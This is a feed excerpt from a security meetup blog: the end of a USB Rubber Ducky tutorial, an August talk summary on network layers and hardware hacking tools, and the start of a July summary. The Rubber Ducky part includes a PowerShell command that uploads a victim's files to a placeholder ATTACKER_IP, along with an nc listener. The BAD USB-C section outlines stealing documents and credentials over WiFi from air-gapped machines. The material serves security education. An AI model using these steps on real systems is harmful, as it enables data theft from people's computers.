    .bDeviceSubClass = <span class="hljs-number">0x01</span>, <span class="hljs-comment">// Boot interface</span>
    .bDeviceProtocol = <span class="hljs-number">0x01</span>, <span class="hljs-comment">// Keyboard</span>
    .bMaxPacketSize0 = <span class="hljs-number">0x40</span>,
    .idVendor = <span class="hljs-number">0x1234</span>,
    .idProduct = <span class="hljs-number">0x5678</span>,
    .bcdDevice = <span class="hljs-number">0x0100</span>,
    .iManufacturer = <span class="hljs-number">0x01</span>,
    .iProduct = <span class="hljs-number">0x02</span>,
    .iSerialNumber = <span class="hljs-number">0x00</span>,
    .bNumConfigurations = <span class="hljs-number">0x01</span>
} USB_DEVICE_DESCRIPTOR;
</code></pre>
<p><code>bDeviceClass</code> set to <code>0x03</code> means HID (keyboard/mouse class). If you change <code>bDeviceClass</code> to <code>0x08</code> (Mass Storage), the descriptor makes the OS mount it as a USB drive and use storage-specific actions.</p>
<ul>
<li><strong>idVendor</strong> and <strong>idProduct</strong> are unique identifiers for the manufacturer and device.</li>
</ul>
<h2 id="heading-key-functions"><strong>Key Functions</strong></h2>
<ul>
<li><p><strong>Identification:</strong> Allows OS to load the correct drivers automatically.</p>
</li>
<li><p><strong>Power Management:</strong> Informs host of device power needs.</p>
</li>
<li><p><strong>Security and Control:</strong> The OS uses these to apply any whitelisting/blacklisting or security policies.</p>
</li>
</ul>
<p><strong>Why It Matters for Rubber Ducky</strong>:<br />The magic that allows the Rubber Ducky to impersonate a keyboard lies in something called <strong>USB descriptors.</strong> The Rubber Ducky uses custom firmware to set its descriptors, claiming to be a standard USB keyboard. Because of these descriptors, the OS trusts it as a legitimate input device without special permission, even though it is programmed to inject malicious keystrokes.</p>
<p>These descriptors including device/class identifiers, vendor/product IDs, and HID report descriptors cause the host to load keyboard drivers and accept input immediately, allowing the precompiled payload to run stealthily as soon as the device is attached.</p>
<p>In summary, USB descriptors are critical metadata tables programmed into a device’s firmware that define how a host system recognizes, configures and communicates with the device.</p>
<h2 id="heading-scripting-languages-for-rubber-ducky"><strong>Scripting Languages for Rubber Ducky</strong></h2>
<p>The coding of a Rubber Ducky device involves two main parts: the DuckyScript payload (written by the user) and the firmware on the microcontroller that reads the payload and injects keystrokes.</p>
<h2 id="heading-steps"><strong>Steps</strong></h2>
<ol>
<li><p>Write the script and save as <code>inject.txt</code>.</p>
</li>
<li><p>Use <a target="_blank" href="https://github.com/tresacton/DuckEncoder">DuckEncoder</a> tool to convert <code>inject.txt</code> to <code>inject.bin</code>.</p>
</li>
<li><p>Upload <code>inject.bin</code> on the Rubber Ducky.</p>
</li>
</ol>
<p>The <code>.bin</code> file (usually named inject.bin) is a binary file that contains the encoded commands for the Rubber Ducky to execute. This format is necessary because the Rubber Ducky’s microcontroller cannot read plain text; it only understands binary instructions converted from DuckyScript.</p>
<p>It encodes precise HID scancodes and timing into a compact format so keystrokes execute reliably and quickly across different systems.The .bin file is placed on the device, which reads and injects the encoded keystrokes when plugged in, automating the attack.</p>
<h2 id="heading-scripting-language"><strong>Scripting Language</strong></h2>
<p>The language used for writing commands and payloads for the Rubber Ducky is called <strong>DuckyScript</strong>. DuckyScript is a simple scripting language designed specifically for the Rubber Ducky to automate keystroke injection and keyboard actions. Designed to be human‑readable, it uses concise commands and timing directives so scripts map directly to keyboard actions</p>
<p>Each line in a DuckyScript file represents a command (like STRING, ENTER, GUI r, etc.), which the device processes and types as if it were a real keyboard.</p>
<h2 id="heading-typical-usage"><strong>Typical Usage</strong></h2>
<ul>
<li><p>Use a plain text editor to write your DuckyScript payload (commands).</p>
</li>
<li><p>Use a converter tool (like <a target="_blank" href="https://github.com/tresacton/DuckEncoder">DuckEncoder</a>) to convert your <code>.txt</code> script into a <code>.bin</code> file (inject.bin).</p>
</li>
<li><p>Use an SD card reader to copy the <code>inject.bin</code> file onto the microSD card for the Rubber Ducky.</p>
</li>
<li><p>Insert the SD card into the device; when plugged into the target computer, the Rubber Ducky will execute the payload.</p>
</li>
</ul>
<p>Keep payloads simple: use directives like <em>DELAY</em>, <em>DEFAULT_DELAY</em>, <em>REPEAT</em>, and <em>REM</em>; account for keyboard-layout and OS differences; test in a VM or lab, and only run scripts where you have explicit permission.</p>
<h2 id="heading-hello-world-example-in-duckyscript"><strong>Hello World Example in DuckyScript</strong></h2>
<pre><code class="lang-plaintext"># Payload Hello World
# A payload for testing the USB Rubber Ducky’s functionality to display text Hello World!
# Script Starts below
DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!
ENTER
# Script Ends above
</code></pre>
<h2 id="heading-explanation"><strong>Explanation</strong></h2>
<ul>
<li><p><strong>DELAY 3000</strong>: Waits for 3 seconds before starting, giving the OS time to recognize the device</p>
</li>
<li><p><strong>GUI r</strong>: Presses Windows logo key + r, opening the Run dialog</p>
</li>
<li><p><strong>DELAY 500</strong>: Waits 0.5 seconds</p>
</li>
<li><p><strong>STRING notepad</strong>: Types "notepad" in the Run box</p>
</li>
<li><p><strong>DELAY 500</strong>: Waits 0.5 seconds</p>
</li>
<li><p><strong>ENTER</strong>: Hits enter, opening Notepad</p>
</li>
<li><p><strong>DELAY 750</strong>: Waits 0.75 secons for Notepad to open</p>
</li>
<li><p><strong>STRING Hello World!</strong>: Types "Hello World!" in Notepad</p>
</li>
<li><p><strong>ENTER</strong>: Press Enter to go to a new line</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760338983167/a04ada32-3a39-4985-906a-960486445a13.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-setting-up-a-data-collection-server">Setting up a data collection server</h2>
<p>A server will be running on the attacker’s machine and the victim’s machine using the script injected by Rubber Ducky will connect to the attacker's IP address and exfiltrate the files.</p>
<p>Key Points:</p>
<ul>
<li><p>The server's IP address and port number must be included in the Rubber Ducky payload/script so the victim knows where to upload or transfer the files.</p>
</li>
<li><p>For example:</p>
<ul>
<li>In a PowerShell or CMD command, the script will reference <code>http://ATTACKER_IP:PORT</code> or the relevant FTP address.</li>
</ul>
</li>
<li><p>This way, once the Ducky runs, the victim's machine initiates the outbound connection and the attacker's server receives the data</p>
</li>
</ul>
<pre><code class="lang-bash"><span class="hljs-comment"># Netcat (TCP Listener)</span>
nc -lvnp 4444 &gt; received_file.txt
</code></pre>
<p><strong>Python HTTP Server</strong></p>
<p><strong>For browser/PowerShell POST/PUT uploads:</strong></p>
<ul>
<li><p>Example code:</p>
</li>
<li><pre><code class="lang-python">  <span class="hljs-keyword">import</span> http.server
  <span class="hljs-keyword">import</span> socketserver
  <span class="hljs-keyword">import</span> os
  <span class="hljs-keyword">import</span> cgi

  <span class="hljs-comment"># Configure port and upload directory</span>
  PORT = <span class="hljs-number">8000</span>
  UPLOAD_DIR = os.path.join(os.getcwd(), <span class="hljs-string">'uploads'</span>)

  <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">UploadHandler</span>(<span class="hljs-params">http.server.BaseHTTPRequestHandler</span>):</span>
      <span class="hljs-comment"># (Methods do_POST, do_PUT, handle_upload, and do_GET are defined here)</span>
      <span class="hljs-keyword">pass</span>

  <span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
      <span class="hljs-comment"># (Server setup and startup code is here)</span>
      <span class="hljs-keyword">pass</span>
</code></pre>
</li>
</ul>
<p>and run <code>python3 simple_http_server.py 8080</code></p>
<p><strong>Victim's command (PowerShell example):</strong></p>
<p><code>Invoke-WebRequest -Uri http://ATTACKER_IP:8080/upload -Method PUT -InFile C:\path\</code></p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>The USB Rubber Ducky, disguised as an ordinary flash drive, is a powerful tool that leverages computers' inherent trust in keyboards. With a simple DuckyScript payload and a microcontroller that emulates a keyboard over USB, it can execute attacks or automate tasks at superhuman speed. By presenting a USB with some device descriptors that identify it as a standard keyboard and sending precompiled report sequences (scancodes + timing), the host immediately accepts input without user prompts  —  so the payload runs instantly and reliably once plugged in.</p>
<p>For security researchers, it’s an invaluable tool for testing organizational defenses. For everyone else, it’s a sobering reminder of the importance of physical security and implementing strict device control policies. Never trust a USB device you don't know.</p>
<h3 id="heading-resources">Resources:</h3>
<p>These payload repositories and encoder tools can help you learn and build Rubber Ducky payloads. The payload repos show ready-made scripts and examples; the encoder tools convert Duckyscript into the <code>.bin</code> payloads the device uses. Only test on systems you own or where you have explicit permission.</p>
<p>Payload Repositories:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/hak5/usbrubberducky-payloads">https://github.com//usbrubberducky-payloads</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/topics/ducky-payloads">https://github.com/topics/ducky-payloads</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/topics/hak5-rubber-ducky">https://github.com/topics/-rubber-ducky</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/topics/duckyscript">https://github.com/topics/duckyscript</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/topics/rubber-ducky">https://github.com/topics/rubber-ducky</a></p>
</li>
</ul>
<p>Encoder Tools:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/kevthehermit/DuckToolkit">https://github.com/kevthehermit/DuckToolkit</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/tresacton/DuckEncoder">https://github.com/tresacton/DuckEncoder</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/netscylla/Ducky-Encoder">https://github.com/netscylla/Ducky-Encoder</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/xp4xbox/Ducky-Encoder">https://github.com/xp4xbox/Ducky-Encoder</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/mame82/duckencoder.py">https://github.com/mame82/duckencoder.py</a></p>
</li>
<li><p><a target="_blank" href="https://schlomo.github.io/rubber-ducky-german/">https://schlomo.github.io/rubber-ducky-german/</a> (includes source code link on the page)</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[August Highlights]]></title><description><![CDATA[Network Basics — Vishal Vaishishth
View the slide deck for this talk here
Evolution of communication systems
Marconi (wireless telegraphy) → One-way radio → Two-way radio (interactive comms) → Digital networks (Ethernet frames, VoIP, etc.)

Guglielmo...]]></description><link>https://breachforce.net/august-2025</link><guid isPermaLink="true">https://breachforce.net/august-2025</guid><category><![CDATA[#ARP Protocol]]></category><category><![CDATA[#Pwnagotchi]]></category><category><![CDATA[#Marconi Wireless Telegraphy]]></category><category><![CDATA[#BAD USB-C]]></category><category><![CDATA[#network-basics]]></category><category><![CDATA[OSI Model]]></category><category><![CDATA[#physical layer]]></category><category><![CDATA[Data Link Layer]]></category><category><![CDATA[Network Layers]]></category><category><![CDATA[transport_layer]]></category><category><![CDATA[hardwarehacking]]></category><dc:creator><![CDATA[Maruti Marathe]]></dc:creator><pubDate>Sat, 30 Aug 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756882559899/6f72045e-4108-4398-bc76-eded13caf347.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-network-basics-vishal-vaishishth"><strong>Network Basics — Vishal Vaishishth</strong></h2>
<h3 id="heading-view-the-slide-deck-for-this-talk-herehttpsspeakerdeckcombreachforcenetwork-101-the-foundation-beneath-security">View the slide deck for this talk <a target="_blank" href="https://speakerdeck.com/breachforce/network-101-the-foundation-beneath-security"><strong>here</strong></a></h3>
<p><strong>Evolution of communication systems</strong></p>
<p>Marconi (wireless telegraphy) → One-way radio → Two-way radio (interactive comms) → Digital networks (Ethernet frames, VoIP, etc.)</p>
<ul>
<li><p><strong>Guglielmo Marconi</strong> → credited with inventing wireless telegraphy (early <strong>radio</strong>), which was <strong>one-way communication</strong> (just sending signals).</p>
</li>
<li><p>Later, radio tech evolved into <strong>two-way communication</strong> (walkie-talkies, mobile phones, etc.) where both ends could talk.</p>
</li>
<li><p>Then we moved into <strong>digital communication</strong> → carrying not just analog voice but also <strong>data</strong>.</p>
</li>
<li><p>Today, even <strong>voice calls</strong> are chopped into <strong>frames/packets</strong> (like Ethernet frames in computer networks) when sent over digital/VoIP systems.</p>
</li>
</ul>
<p>OSI Layer</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756780753939/24c8b9a8-ca63-4ad4-8889-f44f3092d6af.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-physical-layer">Physical Layer</h3>
<ul>
<li><p>The <strong>Physical Layer (Layer 1)</strong> is responsible for transmitting raw bits over physical media.</p>
</li>
<li><p>Supports <strong>various transmission media</strong>:</p>
<ul>
<li><p><strong>Wires/Cables:</strong> Copper (Ethernet CAT5/6/7), Coaxial</p>
</li>
<li><p><strong>Optical Fiber:</strong> High-speed long-distance communication (up to 58 Gbps with Ethernet over fiber)</p>
</li>
<li><p><strong>Radio Waves:</strong> Wireless transmission for WiFi, Bluetooth, and cellular networks.</p>
</li>
</ul>
</li>
<li><p><strong>WiFi</strong> is actually <strong>Layer 2 (Data Link)</strong>, but it relies on radio waves as the physical medium.</p>
</li>
<li><p><strong>Key protocols at Layer 1:</strong> IDE, SCSI, Ethernet physical specifications.</p>
</li>
<li><p><strong>Ethernet</strong> uses <strong>packet switching</strong> rather than circuit switching:</p>
<ul>
<li><p>Packet switching sends data in discrete frames, making networks more flexible.</p>
</li>
<li><p>Circuit switching requires pre-allocated bandwidth for the duration of the communication, which is less efficient for shared networks.</p>
</li>
</ul>
</li>
<li><p>Layer 1 also defines <strong>electrical/optical signal standards</strong>, connector types, and transmission speeds</p>
</li>
</ul>
<h3 id="heading-data-link-layer"><strong>Data Link Layer</strong></h3>
<ul>
<li><p>The <strong>Data Link Layer (Layer 2)</strong> operates on top of the Physical Layer, ensuring devices can communicate reliably over physical media.</p>
</li>
<li><p><strong>Compatibility is crucial:</strong> Protocols are needed so devices from different manufacturers can exchange data.</p>
</li>
<li><p><strong>Standard Ethernet Frame:</strong> Encapsulates data for Layer 2 transmission.</p>
</li>
<li><p><strong>MAC Address (Media Access Control):</strong></p>
<ul>
<li><p>Needed to identify devices on the same network.</p>
</li>
<li><p>If only two devices are connected on a single cable, addresses aren’t required.</p>
</li>
<li><p>When networks scale beyond two devices, MAC addresses allow correct packet delivery.</p>
</li>
<li><p>Originally sufficient for small, room-scale networks; now critical for larger, multi-device environments.</p>
</li>
</ul>
</li>
<li><p><strong>Address Management:</strong></p>
<ul>
<li><p>Managed at Layer 2 (MAC) and Layer 3 (IP).</p>
</li>
<li><p>DHCP on routers assigns IP addresses; devices cannot safely overwrite these without risk.</p>
</li>
</ul>
</li>
<li><p><strong>Why not just MAC?</strong></p>
<ul>
<li><p>MAC addresses are <strong>not extensible</strong> beyond local networks.</p>
</li>
<li><p>They are <strong>hardware-burned</strong>, making replacement difficult.</p>
</li>
<li><p>IP addresses are required for <strong>network-wide routing</strong> and scalability.</p>
</li>
</ul>
</li>
<li><p><strong>ARP Protocol (Address Resolution Protocol):</strong></p>
<ul>
<li><p>Maps IP addresses to MAC addresses for local communication.</p>
</li>
<li><p>Vulnerable to <strong>ARP spoofing</strong> and <strong>cache poisoning attacks</strong>.</p>
</li>
</ul>
</li>
<li><p><strong>VLANs &amp; Trunking:</strong></p>
<ul>
<li><p>Segment networks into isolated broadcast domains, enhancing security.</p>
</li>
<li><p>Misconfigurations can lead to attacks like <strong>VLAN hopping</strong> via switch spoofing or double tagging.</p>
</li>
<li><p>Tagged VLANs help prevent unauthorized access between segments.</p>
</li>
<li><p><strong>ARP spoofing:</strong> Attackers send fake ARP replies to associate their MAC with a victim’s IP.</p>
</li>
</ul>
</li>
<li><p><strong>MOII &amp; MAC Security:</strong> MAC spoofing detection is used to enhance Layer 2 security.</p>
</li>
</ul>
<h3 id="heading-network-layer">Network Layer</h3>
<ul>
<li><p><strong>IP Addressing:</strong> Enables devices to communicate across different networks using IPv4 or IPv6.</p>
</li>
<li><p><strong>IPv4 vs IPv6:</strong></p>
<ul>
<li><p>IPv4 uses 32-bit addresses; IPv6 uses 128-bit, allowing vastly more unique addresses.</p>
</li>
<li><p>IP Classes organize IPv4 addresses for network segmentation.</p>
</li>
</ul>
</li>
<li><p><strong>Documentation IP Blocks (RFC 5737):</strong></p>
<ul>
<li><p>192.0.2.0/24 (TEST-NET-1)</p>
</li>
<li><p>198.51.100.0/24 (TEST-NET-2)</p>
</li>
<li><p>203.0.113.0/24 (TEST-NET-3)</p>
</li>
<li><p>Reserved for testing; <strong>not for production use</strong>.</p>
</li>
</ul>
</li>
<li><h3 id="heading-ipv6-documentation-prefix-2001db832">IPv6 Documentation Prefix: <code>2001:DB8::/32</code></h3>
<ul>
<li><p>A special IPv6 block reserved by the IETF (RFC 3849) for documentation, examples, and training.</p>
</li>
<li><p>Prevents misuse of real IPv6 addresses in books, blogs, and lab setups.</p>
</li>
<li><p>Avoids confusion, accidental traffic leaks, and security risks.</p>
</li>
<li><p>Non-routable; any traffic to this range is dropped by routers.</p>
</li>
<li><p>Recognized globally as a safe prefix for educational use.</p>
</li>
<li><p>Can be subnetted (e.g., <code>2001:DB8:1::/48</code>) to model real-world configurations.</p>
</li>
<li><p>Similar to movie phone numbers starting with <strong>555</strong>—looks authentic but never connects.</p>
</li>
<li><p>Ensures documentation is professional, consistent, and conflict-free.</p>
</li>
<li><p>Example addresses:</p>
<ul>
<li><p><code>2001:DB8:1234::1/64</code></p>
</li>
<li><p><code>2001:DB8:abcd:5678::/64</code></p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<ul>
<li><p><strong>Private Addresses:</strong> 100.64.0.0 - 100.64.128.255 (used by ISPs and Tailscale; avoids collisions).</p>
</li>
<li><p><strong>DHCP Reservations:</strong></p>
<ul>
<li>Assign fixed IPs without relying on sequential allocation.</li>
</ul>
</li>
<li><p><strong>Routing:</strong></p>
<ul>
<li><p>Direct tapping of Ethernet wires is expensive and impractical; port mirroring on destination devices is preferred.</p>
</li>
<li><p>Layer 2 MITM attacks are easier to detect; higher layers offer better protection.</p>
</li>
<li><p>Routing protocols: <strong>OSPF</strong>, <strong>BGP</strong>, <strong>ISIS</strong> (mostly for carrier networks).</p>
<ul>
<li><p><strong>Common Routing Attacks:</strong></p>
<ul>
<li><p><strong>BGP:</strong> Prefix hijack, route leaks, manipulation</p>
</li>
<li><p><strong>OSPF:</strong> LSA injection, falsification, evil twin, LSU spoofing</p>
</li>
<li><p><strong>ISIS:</strong> Route spoofing, session hijacking</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="heading-transport-layer">Transport Layer</h3>
<ul>
<li><p><strong>Protocols:</strong> TCP, UDP, and ICMP form the core of the Transport Layer.</p>
</li>
<li><p><strong>NAT (Network Address Translation):</strong></p>
<ul>
<li><p>Allows multiple devices to share a single public IP.</p>
</li>
<li><p>the purpose of NAT is to saves IPv4 addresses and hides internal network structure for security</p>
</li>
<li><p>Types: <strong>Static NAT, Dynamic NAT, PAT (NAT Overload), Port Address NAT.</strong></p>
</li>
</ul>
</li>
<li><p>Packet Wrapping</p>
<ul>
<li><p>TCP traffic can be encapsulated inside UDP packets for tunneling.</p>
</li>
<li><p>Reliability is still ensured through TCP sequencing and acknowledgments.</p>
</li>
<li><p>Useful when networks restrict or block certain protocols.</p>
</li>
<li><p>Enables communication to pass through firewalls, NAT devices, or strict network policies.</p>
</li>
<li><p>Common in VPNs and tunneling tools where flexibility and traversal of blocked paths are required.</p>
</li>
</ul>
</li>
</ul>
<p>        <strong>Security &amp; Protections:</strong></p>
<ul>
<li><p>Maintain <strong>ACLs</strong> to control access.</p>
</li>
<li><p>Change default ports to reduce attack surface.</p>
</li>
<li><p>Use <strong>VPNs and tunneling</strong> to secure communication.</p>
<ul>
<li><strong>Packet Analysis:</strong></li>
</ul>
</li>
<li><p>Tools: <strong>tcpdump</strong> with drivers like <strong>usbpcap</strong> and <strong>ncap</strong> capture interface packets for analysis.</p>
<ul>
<li><strong>Real-World Topologies:</strong></li>
</ul>
</li>
<li><p>Designed for <strong>carrier gateways</strong> and <strong>high availability networks</strong>.</p>
</li>
<li><p>For real carrier gateways &amp; high availability infra networks</p>
<ul>
<li>Ref: <a target="_blank" href="https://robert.penz.name/779/howto-setup-a-redundant-and-secure-bgp-fulltable-internet-connection-with-mikrotik-routers/">https://robert.penz.name/779/howto-setup-a-redundant-and-secure-bgp-fulltable-internet-connection-with-mikrotik-routers/</a></li>
</ul>
<ul>
<li><strong>TCP Flags:</strong></li>
</ul>
</li>
<li><p><strong>PSH (Push):</strong> Packet must be processed immediately.</p>
</li>
<li><p><strong>URG (Urgent):</strong> Specifies high-priority packets</p>
<ul>
<li><strong>ICMP, Ping, and Traceroute:</strong></li>
</ul>
</li>
<li><p>Used for error reporting, diagnostics, and status messages.</p>
</li>
<li><p><strong>Traceroute</strong> works by incrementing <strong>TTL</strong> to map the route to the destination.</p>
</li>
</ul>
<h3 id="heading-wifi-highlights">WiFi Highlights</h3>
<ul>
<li><p><strong>WiFi operates at Layer 2 (Data Link),</strong> while radio waves act as the physical carrier medium at Layer 1.</p>
</li>
<li><p><strong>Security Protocols:</strong></p>
<ul>
<li><p>WPA2 (non-PKS versions) can potentially be decrypted if misconfigured.</p>
</li>
<li><p><strong>RADIUS and other authentication protocols</strong> manage secure access.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-miscellaneous-performance-highlights">Miscellaneous / Performance Highlights</h3>
<ul>
<li><p><strong>Ethernet Performance:</strong> CAT cables can support speeds up to <strong>58 Gbps</strong> in optimal conditions.</p>
</li>
<li><p><strong>Data Flow:</strong> Every packet leaving a device enters the network for processing.</p>
</li>
<li><p><strong>Passive Wiretap:</strong> Operates at Layer 2 and can intercept traffic without detection, highlighting the importance of network security</p>
</li>
</ul>
<p>The session ended at the Transport Layer, while the higher layers :- Session, Presentation, and Application were left out. These will be covered in Application Security (AppSec), keeping the focus here on core networking basics first</p>
<hr />
<h2 id="heading-hardware-arsenal">Hardware Arsenal</h2>
<h3 id="heading-view-the-slide-deck-for-this-talk-herehttpsspeakerdeckcombreachforcehardware-arsenal">View the slide deck for this talk <a target="_blank" href="https://speakerdeck.com/breachforce/hardware-arsenal"><strong>here</strong></a></h3>
<p><strong>What is it?</strong></p>
<ul>
<li><p>Hardware/Hacking Arsenal → Tools designed for specific protocols with compromise as the ultimate goal.</p>
</li>
<li><p>Focus → How much can you breach without breaking cover?</p>
</li>
<li><p>Uses → Military operations, physical red teaming, and fun research.</p>
</li>
</ul>
<p><strong>P4wnP1 A.L.O.A</strong></p>
<ul>
<li><p>Turns Raspberry Pi Zero W / Pico W into a powerful, low-cost pentesting tool.</p>
<p>  (Reference:-<a target="_blank" href="https://www.raspberrypi.com/documentation/">https://www.raspberrypi.com/documentation/</a>)</p>
</li>
<li><p>Acts like a WiFi Rubber Ducky with HIDScript (DuckyScript-style payloads).</p>
<p>  (Refrence:-<a target="_blank" href="https://github.com/majdsassi/Pico-WIFI-Duck">https://github.com/majdsassi/Pico-WIFI-Duck</a>)</p>
</li>
<li><p>Can emulate keyboard, mouse, storage, and more for red teaming &amp; research.</p>
</li>
</ul>
<p><strong>Pwnagotchi</strong></p>
<ul>
<li><p>AI-powered WiFi sniffer (A2C + bettercap) that learns from its environment.</p>
</li>
<li><p>Captures WPA handshakes &amp; PMKIDs (saved as PCAPs for hashcat)</p>
</li>
<li><p>PMKID (Pairwise Master Key Identifier) is a unique value in WPA/WPA2 Wi-Fi that speeds up roaming but can also be captured for offline password cracking.</p>
</li>
<li><p>A digital pet for hackers running on Raspberry Pi Zero W/2W, 3, and 4.</p>
<p>  (Refrence:-<a target="_blank" href="https://github.com/JakerHuber/Jakes-Pwnagotchi-Tutorial.git">https://github.com/JakerHuber/Jakes-Pwnagotchi-Tutorial.git</a>)</p>
</li>
</ul>
<p><strong>Flipper Zero</strong></p>
<ul>
<li><p>Portable multi-tool for pentesters &amp; hackers in a toy-like body.</p>
</li>
<li><p>Hacks radio, access control, hardware, and more.</p>
</li>
<li><p>Open-source &amp; customisable with modular extensions.</p>
</li>
</ul>
<p><strong>PortaPack (for HackRF)</strong></p>
<ul>
<li><p>Add-on with touchscreen, controls, SD slot, clock, and case.</p>
</li>
<li><p>Turns HackRF into a portable spectrum explorer (few MHz – 6 GHz).</p>
<p>  (Refrence:-<a target="_blank" href="https://github.com/pavsa/hackrf-spectrum-analyzer.git">https://github.com/pavsa/hackrf-spectrum-analyzer.git</a>)</p>
</li>
<li><p>Runs on USB battery + proper antenna. (Can be misused for illegal activity)</p>
</li>
</ul>
<p><strong>Keyless Entry &amp; Rolling Code</strong></p>
<ul>
<li><p>Used in cars &amp; garage doors for remote lock/unlock.</p>
</li>
<li><p>Rolling Code: generates single-use passcodes so codes don’t repeat.</p>
</li>
<li><p>Exploit angle → If the signal doesn’t reach the car, the sequence can be intercepted &amp; abused.</p>
</li>
</ul>
<p><strong>USB-C</strong></p>
<ul>
<li><p>24-pin reversible connector, replacing older USB types.</p>
</li>
<li><p>EU mandate:</p>
<ul>
<li><p>Phones, tablets, cameras &amp; headphones → by Dec 28, 2024</p>
</li>
<li><p>Laptops → by Apr 28, 2026</p>
</li>
</ul>
</li>
<li><p>Goal: One universal charger/cable.</p>
</li>
</ul>
<p><strong>BAD USB-C (Overview)</strong></p>
<ul>
<li><p>ESP32 Pico-based USB-C implant for executing keystrokes.</p>
</li>
<li><p>Can run scripts, payloads, admin/root commands.</p>
</li>
<li><p>With WiFi onboard, it can even bypass air-gapped systems (requires physical access).</p>
</li>
</ul>
<p><strong>Example:</strong></p>
<p>BAD USB-C is an ESP32 Pico-based implant disguised as a USB-C device. It behaves like a normal USB peripheral, but in reality, it executes automated keystrokes and connects over WiFi.</p>
<p><strong>How It Works</strong></p>
<ol>
<li><p>Physical Access → Connect the BAD USB-C to the target computer.</p>
</li>
<li><p>Remote Control → Connect to the device from your laptop, VM, or even a smartphone hotspot.</p>
</li>
<li><p>Payload Execution → BAD USB-C injects keystrokes on the victim’s machine as if typed by a user.</p>
</li>
</ol>
<p><strong>Example Attack Scenario</strong></p>
<ul>
<li><p>Prepare a payload script (PowerShell or Batch).</p>
</li>
<li><p>BAD USB-C executes automatically once plugged in:</p>
<ul>
<li><p>Opens Command Prompt or PowerShell.</p>
</li>
<li><p>Elevates to Administrator (via keystroke sequence).</p>
</li>
<li><p>Executes your script, e.g.:</p>
<ul>
<li><p>Copies documents, credentials, or browser data.</p>
</li>
<li><p>Compresses them into a hidden archive.</p>
</li>
<li><p>Sends them back over WiFi.</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><strong>Air-Gapped Bypass</strong></p>
<p>An air-gapped system is normally secure because it’s isolated from any network. BAD USB-C, powered by ESP32 Pico with WiFi, can still bypass this protection.</p>
<ol>
<li><p>Injects payloads via keystrokes (e.g., open CMD/PowerShell).</p>
</li>
<li><p>Collects files (docs, creds, logs).</p>
</li>
<li><p>Exfiltrates data over WiFi directly to the attacker’s device.</p>
</li>
<li><p>Stealth mode: BAD USB-C can connect to a hidden SSID (like a mobile hotspot) for operational security.</p>
</li>
</ol>
<p><strong>Example:-</strong></p>
<ul>
<li><p>Plug BAD USB-C into an air-gapped PC → it runs a script to zip “.docx” files → connects to your hidden mobile hotspot → sends data over WiFi to your laptop.</p>
</li>
<li><p>The air-gap is silently bypassed.Key point: Unlike normal USB-C, BAD USB-C is both injector and covert channel, making it far more dangerous.</p>
</li>
</ul>
<p>The session showed a clear journey of how communication has evolved and how today’s networks work.</p>
<p>Along with this, the hardware segment showcased practical tools like P4wnP1, Pwnagotchi, Flipper Zero, and PortaPack, giving a glimpse into hardware hacking and security.</p>
]]></content:encoded></item><item><title><![CDATA[July Meetup Highlights]]></title><description><![CDATA[BreachForce’s July edition bought 2 talks.

Whitebox Warfare: Beyond Scanners, Beyond Bounties  by Kaustubh Rai

Container Security: A Build Your Own Adventure  by Sumir Broota



Whitebox Warfare
TL;DR

Green dashboards lie. “0 criticals” doesn’t me...]]></description><link>https://breachforce.net/july-meetup-highlights</link><guid isPermaLink="true">https://breachforce.net/july-meetup-highlights</guid><dc:creator><![CDATA[Rehan Shaikh]]></dc:creator><pubDate>Sat, 26 Jul 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/RanxGMHPsLI/upload/fe5945f96dff421a4d37505542a8ce86.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>BreachForce’s July edition bought 2 talks.</p>
<ul>
<li><p><strong>Whitebox Warfare: Beyond Scanners, Beyond Bounties</strong><br />  <em>by</em> <a class="user-mention" href="https://hashnode.com/@KaustubhRai">Kaustubh Rai</a></p>
</li>
<li><p><strong>Container Security: A Build Your Own Adventure</strong><br />  <em>by</em> <a class="user-mention" href="https://hashnode.com/@SumoSumir">Sumir Broota</a></p>
</li>
</ul>
<hr />
<h2 id="heading-whitebox-warfare">Whitebox Warfare</h2>
<h3 id="heading-tldr">TL;DR</h3>
<ul>
<li><p>Green dashboards lie. “0 criticals” doesn’t mean safe.</p>
</li>
<li><p>Whitebox isn’t “run SAST.” It’s <strong>architectural X-ray</strong> + <strong>action</strong>.</p>
</li>
<li><p>Three high-leverage plays: <strong>Dependency Autopsy</strong>, <strong>Secrets Archaeology</strong>, <strong>Attack-Surface Mapping</strong>.</p>
</li>
<li><p>Three ≤1-day defenses: <strong>Entropy-as-Code</strong>, <strong>Dependency Surgery</strong>, <strong>Honeytrap Logging</strong>.</p>
</li>
</ul>
<h3 id="heading-key-concepts">Key Concepts:</h3>
<p><strong>Are we safe if the SAST Scan doesn’t detect vulnerabilities?</strong></p>
<ul>
<li><p>Scanner says we are safe. So we are safe right?</p>
</li>
<li><p>Vulnerabilities missed by SAST Scanners costs to companies both reputably or financially</p>
</li>
